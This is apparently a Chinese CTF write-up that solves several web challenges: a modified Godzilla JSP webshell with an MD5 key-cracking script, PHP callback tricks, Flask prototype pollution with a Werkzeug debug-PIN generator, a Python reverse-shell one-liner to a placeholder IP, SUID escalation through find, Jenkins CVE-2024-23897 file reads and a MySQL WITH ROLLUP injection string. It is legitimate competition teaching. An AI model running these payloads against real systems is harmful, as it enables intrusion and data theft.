Hacker ouT!

签到题目, 想办法修改cookieuser为admin就可以了
办法太多了, 直接devtools解决最简单

冷冽谷的哥斯拉

题目不算太难, 但是可能大部分人没有见过所以不太好做

首先扫了一下网页, 没找到啥有用的, 先用dirsearch扫一遍
image.png
访问shell.jsp, ctrl+u查看源码
有了解过的应该能看出来这个是一个魔改的哥斯拉🐎, 格式是jsp base64, 给出的

1
2
String xxxx = "ffe3f468070ae0da";
String pppp = "Noz0m1";

应该就是原始哥斯拉🐎中的

1
2
String xc="3c6e0b8a9c15224a";
String pass="pass";

哥斯拉连接需要passkey, pass就是Noz0m1
通读一下, 文件就是做了一下混淆, 没有动别的配置, 所以接下来, 我们需要拿到key, 这里需要了解一下哥斯拉🐎的生成机制, 这里直接给出, 文件中的ffe3f468070ae0dakey经过md5后的前16位, 所以下一步我们可以直接尝试爆破, 让gpt写了一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import hashlib
import itertools

# 已知的MD5密文前16位
known_prefix = "ffe3f468070ae0da"

def crack_md5(known_prefix):
characters = "abcdefghijklmnopqrstuvwxyz0123456789"

# 遍历明文长度从1到6
for length in range(1, 7):
# 生成所有长度为length的明文组合
for combination in itertools.product(characters, repeat=length):
plain_text = ''.join(combination)
full_hash = hashlib.md5(plain_text.encode()).hexdigest()
print(f"\rCurrent plaintext: {plain_text}", end="")

# 如果前16位匹配,则输出结果
if full_hash[:16] == known_prefix:
print("\nFound matching plain text:", plain_text)
print("Full MD5 hash:", full_hash)
return

print("Starting MD5 cracking...")
crack_md5(known_prefix)

稍微等一会, 能够爆出来keychive, 用哥斯拉连接, 成功
image.png
然后进去cat /flag拿到flag就行了

php_tricks

借鉴了知识星球的题目, 之前和某xyctf出题师傅讨论过, 所以拿来出题了
(后来发现貌似考点2flag.php忘记加显示源码了, 所以就当没有算了(-<-)

题目意思很简单, 接收get参数和post参数, get参数构成call_user_func的两个参数, post参数构成可变函数

思路是找到合适的回调函数, 将最后一层构造成诸如system('ls')这样的格式
下一步是构造外面一层, 也就是构造call_user_func回调函数,

我的思路如下, 因为$parameters变量是一个数组, 所以利用array_key_first取出了数组的第一个key也就是utf8_decode
utf8_decode($_POST['a'])对我输入的a并不会产生什么影响, 结果就是system

1
2
fyuction=array_key_first&utf8_decode=1
post: a=system&b=ls

另一个师傅思路如下, current默认是数组的第一项, 后面思路就一样了

1
2
fyuction=current&a=current
post:a[]=system&b=whoami

比较easy~

iT’s MyPin

比较麻烦, 但是不难的一个题目

首先题目给出了源码, (不方便阅读就ctrl+u看源码)仔细阅读之后, 发现debug=True开启了flask的debug模式, 这个经常考到算pin码rce

/api路由中, 有个典型的merge函数, 做过题目的应该知道是原型链污染的一个标志了, 没做过的搜一下这个奇怪的函数也很容易搜到, 结构我是没有修改的, 这里是将post传入的数据merge给了instance, 这样做实际上我们可以构造请求体来控制任意变量, 下面有个__file__正好被读取了, 可以试着修改这个变量来做任意文件读取

格式不唯一, 具体可以查看网上关于python原型链污染的文章, 我这里用的这个

1
2
3
4
5
6
7
{
"__init__" : {
"__globals__" : {
"__file__":"/flag"
}
}
}

POST发送请求之后, 再次查看/路由, 发现debug页面提示报错Permission denied: '/flag'
这里是因为我把/flag设置为了root用户权限, 但是flask是momo用户在运行, 读取/etc/passwd是可以猜到的

结合之前提到的pin码, 我们试着读取一下计算pin码所需要的文件

在刚才的报错界面中可以找到python版本为3.8, 高版本用sha1的计算脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# sha1
import hashlib
from itertools import chain
probably_public_bits = [
'momo' # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
'156525269814096', # /sys/class/net/eth0/address 冒分16进制转10进制, 我习惯去掉冒号在devtools里面0x...直接得到
# machine_id 一般 = /etc/machine-id+/proc/self/cgroup的斜杠后半段, 真机三个一起用:
# 1./etc/machine-id = ea1fc30b6f4a173cea015d229c6b55b6
# 2./proc/sys/kernel/random/boot_id = e1fca593-dd38-4d12-bb7e-d6bf6cde6cbb (用不到)
# 3./proc/self/cgroup = cri-containerd-5500ffd3801380b91976ea5b9e0ac8b7f208ab72a99bab34af7a8fb0c99e7791.scope
# 这里因为是k3s后端, 所以/proc/self/cgroup不是常见的类型, 但是格式同docker
'ea1fc30b6f4a173cea015d229c6b55b6cri-containerd-5500ffd3801380b91976ea5b9e0ac8b7f208ab72a99bab34af7a8fb0c99e7791.scope'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

我的计算结果193-344-993, 在报错界面找到终端窗口或者直接访问/console路由, 输入pin码可以进入python终端
image.png

然后就是这个道理了, 后面我习惯反弹shell回来, 或者你直接用下面这句也行, 这里考的就是suid提权了

1
os.popen('/usr/bin/find /flag -exec bash -p -c "cat /flag" \;').read()

或者反弹一个shell会更简单

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",7210));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

当前用户是momo , 也是需要suid提权, 除了上面那句还可以用这句

1
find /flag -exec /bin/sh -p \; -quit

拿下了~

jenkinslove

简单的一道cve, 没啥太难的, 就是设置了一个小坑, flag并没有放在/flag中, 所以需要读一下别的东西, 参考p牛的文章

Jenkins文件读取漏洞拾遗(CVE-2024-23897) | 离别歌

里面提到了两种读取文件的方法, 第一种只能读取一行, 我在/flag中的第一行写的是
nanamo_flag is not here,but ...

如果有心的话看到下面有个匿名用户可读全部文件内容的方法, 试试这个可以得到/flag内容是
nanamo_flag is not here,but ... maybe environ?`

提示读取环境变量, 这里读取有时候需要用//作为i第一个/, 注意一下就行
做过web的大概知道这个environ指代的是什么, 没做过的, 搜一下也很容易得到
/proc/$PID/environ
如果你用的是/proc/self/environ, 那是读不出来的, 因为这个容器的入口是我设置的docker-entrypoint.sh, flag也是在这里面进行了加载, 所以flag藏在了
/proc/1/environ

其实有的ctf也会出这样的非预期解, 干脆就拿过来用了

汇总

这个题目后来添加了提示, 但是没做过的师傅应该还是比较雾水的
实际这道题是一个with rollup注入, 借鉴了
Mysql with rollup注入(ISCC-2018 线下赛Web 私地一)

image.png

界面很朴素, 下面给了提示, 尝试和提示给了admin和root用户, 输入这两个用户的话是密码错误

Executed Operations中发现, 只查询了用户名, 这是比较奇怪的, 而且密码很有可能是拿
来和输入的密码作比较, 进行鉴权

如果尝试了一句话密码, 则会爆出results are more than one, 所以猜测需要得到一个查询结果的密码和我们输入的密码相同才可以

于是with roll up, 黑名单基本可以无视, 空格用/**/url编码后绕过即可
查询结果会变成一个null, 由于后台弱比较, 我们不输入密码就可以拿到flag了

这道主要还是靠经验了, 原理的话推荐自己用数据库做一下实验, 可以看我上面链接的文章和自己补充网络知识

1
username=admin'/**/group/**/by/**/password/**/with/**/rollup/**/limit/**/1/**/offset/**/1#&password=